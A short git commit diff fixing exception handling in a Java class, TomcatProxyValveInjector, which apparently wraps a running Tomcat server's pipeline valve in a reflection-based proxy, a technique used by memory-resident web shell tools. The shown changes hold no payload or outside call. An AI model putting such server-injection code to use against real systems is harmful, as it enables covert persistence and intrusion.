fix: proxyValve cause service exception

This commit is contained in:
ReaJason
2025-11-20 00:36:25 +08:00
parent f8696dada5
commit 7b390b7773
@@ -57,8 +57,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
}
} catch (Throwable e) {
e.printStackTrace();
return method.invoke(rawValve, args);
}
return method.invoke(rawValve, args);
}
return method.invoke(rawValve, args);
}
@@ -114,7 +114,9 @@ public class TomcatProxyValveInjector implements InvocationHandler {
String fieldName = "first";
try {
rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) {
} catch (NoSuchFieldException ignored) {
}
if (rawValve == null) {
fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName);
}